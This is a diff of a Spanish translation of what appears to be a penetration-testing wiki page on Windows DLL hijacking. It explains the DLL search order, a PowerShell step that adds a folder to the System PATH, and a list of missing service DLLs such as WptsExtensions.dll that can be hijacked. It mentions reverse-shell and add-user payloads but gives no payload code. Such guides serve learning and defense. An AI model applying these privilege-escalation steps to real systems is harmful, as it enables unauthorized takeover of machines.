||||
|
||||
### Orden de Búsqueda de DLL
|
||||
|
||||
@ -45,17 +46,18 @@ Para escalar privilegios, la mejor oportunidad que tenemos es poder **escribir u
|
||||
Puedes ver el **orden de búsqueda de DLL en sistemas de 32 bits** a continuación:
|
||||
|
||||
1. El directorio desde el cual se cargó la aplicación.
|
||||
2. El directorio del sistema. Usa la función [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) para obtener la ruta de este directorio. (_C:\Windows\System32_)
|
||||
2. El directorio del sistema. Usa la función [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) para obtener la ruta de este directorio.(_C:\Windows\System32_)
|
||||
3. El directorio del sistema de 16 bits. No hay función que obtenga la ruta de este directorio, pero se busca. (_C:\Windows\System_)
|
||||
4. El directorio de Windows. Usa la función [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) para obtener la ruta de este directorio. (_C:\Windows_)
|
||||
4. El directorio de Windows. Usa la función [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) para obtener la ruta de este directorio.
|
||||
1. (_C:\Windows_)
|
||||
5. El directorio actual.
|
||||
6. Los directorios que están listados en la variable de entorno PATH. Ten en cuenta que esto no incluye la ruta por aplicación especificada por la clave de registro **App Paths**. La clave **App Paths** no se utiliza al calcular la ruta de búsqueda de DLL.
|
||||
|
||||
Ese es el **orden de búsqueda** predeterminado con **SafeDllSearchMode** habilitado. Cuando está deshabilitado, el directorio actual asciende al segundo lugar. Para deshabilitar esta función, crea el valor de registro **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** y configúralo en 0 (el valor predeterminado está habilitado).
|
||||
Ese es el **orden de búsqueda** **predeterminado** con **SafeDllSearchMode** habilitado. Cuando está deshabilitado, el directorio actual asciende al segundo lugar. Para deshabilitar esta función, crea el valor de registro **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** y configúralo en 0 (el valor predeterminado está habilitado).
|
||||
|
||||
Si la función [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) se llama con **LOAD_WITH_ALTERED_SEARCH_PATH**, la búsqueda comienza en el directorio del módulo ejecutable que **LoadLibraryEx** está cargando.
|
||||
Si se llama a la función [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) con **LOAD_WITH_ALTERED_SEARCH_PATH**, la búsqueda comienza en el directorio del módulo ejecutable que **LoadLibraryEx** está cargando.
|
||||
|
||||
Finalmente, ten en cuenta que **un DLL podría ser cargado indicando la ruta absoluta en lugar de solo el nombre**. En ese caso, ese DLL **solo se buscará en esa ruta** (si el DLL tiene alguna dependencia, se buscarán como si se cargaran solo por nombre).
|
||||
Finalmente, ten en cuenta que **un DLL podría ser cargado indicando la ruta absoluta en lugar de solo el nombre**. En ese caso, ese DLL **solo se buscará en esa ruta** (si el DLL tiene dependencias, se buscarán como si se cargaran solo por nombre).
|
||||
|
||||
Hay otras formas de alterar el orden de búsqueda, pero no voy a explicarlas aquí.
|
||||
|
||||
@ -65,7 +67,7 @@ Ciertas excepciones al orden de búsqueda estándar de DLL se mencionan en la do
|
||||
|
||||
- Cuando se encuentra un **DLL que comparte su nombre con uno ya cargado en memoria**, el sistema omite la búsqueda habitual. En su lugar, realiza una verificación de redirección y un manifiesto antes de recurrir al DLL ya en memoria. **En este escenario, el sistema no realiza una búsqueda del DLL**.
|
||||
- En casos donde el DLL es reconocido como un **DLL conocido** para la versión actual de Windows, el sistema utilizará su versión del DLL conocido, junto con cualquiera de sus DLLs dependientes, **omitindo el proceso de búsqueda**. La clave de registro **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** contiene una lista de estos DLLs conocidos.
|
||||
- Si un **DLL tiene dependencias**, la búsqueda de estos DLLs dependientes se realiza como si se indicaran solo por sus **nombres de módulo**, independientemente de si el DLL inicial fue identificado a través de una ruta completa.
|
||||
- Si un **DLL tiene dependencias**, la búsqueda de estos DLLs dependientes se lleva a cabo como si se indicaran solo por sus **nombres de módulo**, independientemente de si el DLL inicial fue identificado a través de una ruta completa.
|
||||
|
||||
### Escalando Privilegios
|
||||
|
||||
@ -74,8 +76,8 @@ Ciertas excepciones al orden de búsqueda estándar de DLL se mencionan en la do
|
||||
- Identificar un proceso que opere o operará bajo **diferentes privilegios** (movimiento horizontal o lateral), que **carezca de un DLL**.
|
||||
- Asegurarse de que hay **acceso de escritura** disponible para cualquier **directorio** en el que se **buscará el DLL**. Esta ubicación podría ser el directorio del ejecutable o un directorio dentro de la ruta del sistema.
|
||||
|
||||
Sí, los requisitos son complicados de encontrar ya que **por defecto es un poco extraño encontrar un ejecutable privilegiado que falte un DLL** y es aún **más extraño tener permisos de escritura en una carpeta de ruta del sistema** (no puedes por defecto). Pero, en entornos mal configurados esto es posible.\
|
||||
En el caso de que tengas suerte y cumplas con los requisitos, podrías revisar el proyecto [UACME](https://github.com/hfiref0x/UACME). Aunque el **objetivo principal del proyecto es eludir UAC**, puedes encontrar allí un **PoC** de un DLL hijacking para la versión de Windows que puedes usar (probablemente solo cambiando la ruta de la carpeta donde tienes permisos de escritura).
|
||||
Sí, los requisitos son complicados de encontrar ya que **por defecto es un poco extraño encontrar un ejecutable privilegiado que falte un DLL** y es aún **más extraño tener permisos de escritura en una carpeta de ruta del sistema** (no puedes por defecto). Pero, en entornos mal configurados, esto es posible.\
|
||||
En el caso de que tengas suerte y te encuentres cumpliendo con los requisitos, podrías revisar el proyecto [UACME](https://github.com/hfiref0x/UACME). Aunque el **objetivo principal del proyecto es eludir UAC**, puedes encontrar allí un **PoC** de un DLL hijacking para la versión de Windows que puedes usar (probablemente solo cambiando la ruta de la carpeta donde tienes permisos de escritura).
|
||||
|
||||
Ten en cuenta que puedes **verificar tus permisos en una carpeta** haciendo:
|
||||
```bash
|
||||
@ -104,14 +106,14 @@ Otras herramientas automatizadas interesantes para descubrir esta vulnerabilidad
|
||||
|
||||
### Ejemplo
|
||||
|
||||
En caso de que encuentres un escenario explotable, una de las cosas más importantes para explotarlo con éxito sería **crear un dll que exporte al menos todas las funciones que el ejecutable importará de él**. De todos modos, ten en cuenta que Dll Hijacking es útil para [escalar de nivel de integridad medio a alto **(eludiendo UAC)**](../../authentication-credentials-uac-and-efs/#uac) o de [**alta integridad a SYSTEM**](../#from-high-integrity-to-system)**.** Puedes encontrar un ejemplo de **cómo crear un dll válido** dentro de este estudio de dll hijacking enfocado en dll hijacking para ejecución: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
En caso de que encuentres un escenario explotable, una de las cosas más importantes para explotarlo con éxito sería **crear un dll que exporte al menos todas las funciones que el ejecutable importará de él**. De todos modos, ten en cuenta que Dll Hijacking es útil para [escalar de nivel de integridad medio a alto **(eludiendo UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) o de [**alta integridad a SYSTEM**](../index.html#from-high-integrity-to-system)**.** Puedes encontrar un ejemplo de **cómo crear un dll válido** dentro de este estudio de dll hijacking enfocado en dll hijacking para ejecución: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
Además, en la **siguiente sección** puedes encontrar algunos **códigos dll básicos** que pueden ser útiles como **plantillas** o para crear un **dll con funciones no requeridas exportadas**.
|
||||
|
||||
## **Creando y compilando Dlls**
|
||||
|
||||
### **Proxificación de Dll**
|
||||
### **Dll Proxifying**
|
||||
|
||||
Básicamente, un **proxy de Dll** es un Dll capaz de **ejecutar tu código malicioso cuando se carga**, pero también de **exponer** y **funcionar** como **se esperaba** al **redirigir todas las llamadas a la biblioteca real**.
|
||||
Básicamente, un **Dll proxy** es un Dll capaz de **ejecutar tu código malicioso cuando se carga**, pero también de **exponer** y **funcionar** como **se esperaba** al **redirigir todas las llamadas a la biblioteca real**.
|
||||
|
||||
Con la herramienta [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) o [**Spartacus**](https://github.com/Accenture/Spartacus) puedes **indicar un ejecutable y seleccionar la biblioteca** que deseas proxificar y **generar un dll proxificado** o **indicar el Dll** y **generar un dll proxificado**.
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Si descubres que puedes **escribir en una carpeta de System Path** (ten en cuenta que esto no funcionará si puedes escribir en una carpeta de User Path), es posible que puedas **escalar privilegios** en el sistema.
|
||||
|
||||
Para hacer esto, puedes abusar de un **Dll Hijacking** donde vas a **secuestrar una biblioteca que está siendo cargada** por un servicio o proceso con **más privilegios** que los tuyos, y debido a que ese servicio está cargando un Dll que probablemente ni siquiera existe en todo el sistema, intentará cargarlo desde el System Path donde puedes escribir.
|
||||
Para hacer esto, puedes abusar de un **Dll Hijacking** donde vas a **secuestrar una biblioteca que está siendo cargada** por un servicio o proceso con **más privilegios** que los tuyos, y debido a que ese servicio está cargando una Dll que probablemente ni siquiera existe en todo el sistema, intentará cargarla desde el System Path donde puedes escribir.
|
||||
|
||||
Para más información sobre **qué es Dll Hijacking**, consulta:
|
||||
|
||||
@ -16,11 +16,11 @@ Para más información sobre **qué es Dll Hijacking**, consulta:
|
||||
|
||||
## Privesc con Dll Hijacking
|
||||
|
||||
### Encontrar un Dll faltante
|
||||
### Encontrando una Dll faltante
|
||||
|
||||
Lo primero que necesitas es **identificar un proceso** que se esté ejecutando con **más privilegios** que tú y que esté intentando **cargar un Dll desde el System Path** en el que puedes escribir.
|
||||
Lo primero que necesitas es **identificar un proceso** que se esté ejecutando con **más privilegios** que tú y que esté intentando **cargar una Dll desde el System Path** en el que puedes escribir.
|
||||
|
||||
El problema en estos casos es que probablemente esos procesos ya estén en ejecución. Para encontrar qué Dlls faltan en los servicios, necesitas lanzar procmon lo antes posible (antes de que se carguen los procesos). Así que, para encontrar Dlls faltantes, haz lo siguiente:
|
||||
El problema en estos casos es que probablemente esos procesos ya estén en ejecución. Para encontrar qué Dlls faltan, necesitas lanzar procmon lo antes posible (antes de que se carguen los procesos). Así que, para encontrar Dlls faltantes, haz lo siguiente:
|
||||
|
||||
- **Crea** la carpeta `C:\privesc_hijacking` y agrega la ruta `C:\privesc_hijacking` a la **variable de entorno System Path**. Puedes hacer esto **manualmente** o con **PS**:
|
||||
```powershell
|
||||
@ -47,7 +47,7 @@ $newPath = "$envPath;$folderPath"
|
||||
|
||||
<figure><img src="../../../images/image (945).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Dlls Perdidos
|
||||
### Dlls Perdidas
|
||||
|
||||
Ejecutando esto en una **máquina virtual (vmware) Windows 11** gratuita, obtuve estos resultados:
|
||||
|
||||
@ -55,11 +55,11 @@ Ejecutando esto en una **máquina virtual (vmware) Windows 11** gratuita, obtuve
|
||||
|
||||
En este caso, los .exe son inútiles, así que ignórelos, los DLLs perdidos eran de:
|
||||
|
||||
| Servicio | Dll | Línea de CMD |
|
||||
| ------------------------------- | ------------------ | -------------------------------------------------------------------- |
|
||||
| Programador de tareas (Schedule) | WptsExtensions.dll | `C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule` |
|
||||
| Servicio | Dll | Línea de CMD |
|
||||
| ------------------------------- | ------------------ | ------------------------------------------------------------------ |
|
||||
| Programador de tareas (Schedule) | WptsExtensions.dll | `C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule` |
|
||||
| Servicio de política de diagnóstico (DPS) | Unknown.DLL | `C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS` |
|
||||
| ??? | SharedRes.dll | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup` |
|
||||
| ??? | SharedRes.dll | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup` |
|
||||
|
||||
Después de encontrar esto, encontré esta interesante publicación de blog que también explica cómo [**abusar de WptsExtensions.dll para privesc**](https://juggernaut-sec.com/dll-hijacking/#Windows_10_Phantom_DLL_Hijacking_-_WptsExtensionsdll). Que es lo que **vamos a hacer ahora**.
|
||||
|
||||
@ -67,7 +67,7 @@ Después de encontrar esto, encontré esta interesante publicación de blog que
|
||||
|
||||
Entonces, para **escalar privilegios**, vamos a secuestrar la biblioteca **WptsExtensions.dll**. Teniendo la **ruta** y el **nombre**, solo necesitamos **generar el dll malicioso**.
|
||||
|
||||
Puede [**intentar usar cualquiera de estos ejemplos**](./#creating-and-compiling-dlls). Podría ejecutar cargas útiles como: obtener un rev shell, agregar un usuario, ejecutar un beacon...
|
||||
Puede [**intentar usar cualquiera de estos ejemplos**](#creating-and-compiling-dlls). Podría ejecutar cargas útiles como: obtener un rev shell, agregar un usuario, ejecutar un beacon...
|
||||
|
||||
> [!WARNING]
|
||||
> Tenga en cuenta que **no todos los servicios se ejecutan** con **`NT AUTHORITY\SYSTEM`**, algunos también se ejecutan con **`NT AUTHORITY\LOCAL SERVICE`**, que tiene **menos privilegios** y **no podrá crear un nuevo usuario** abusando de sus permisos.\
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user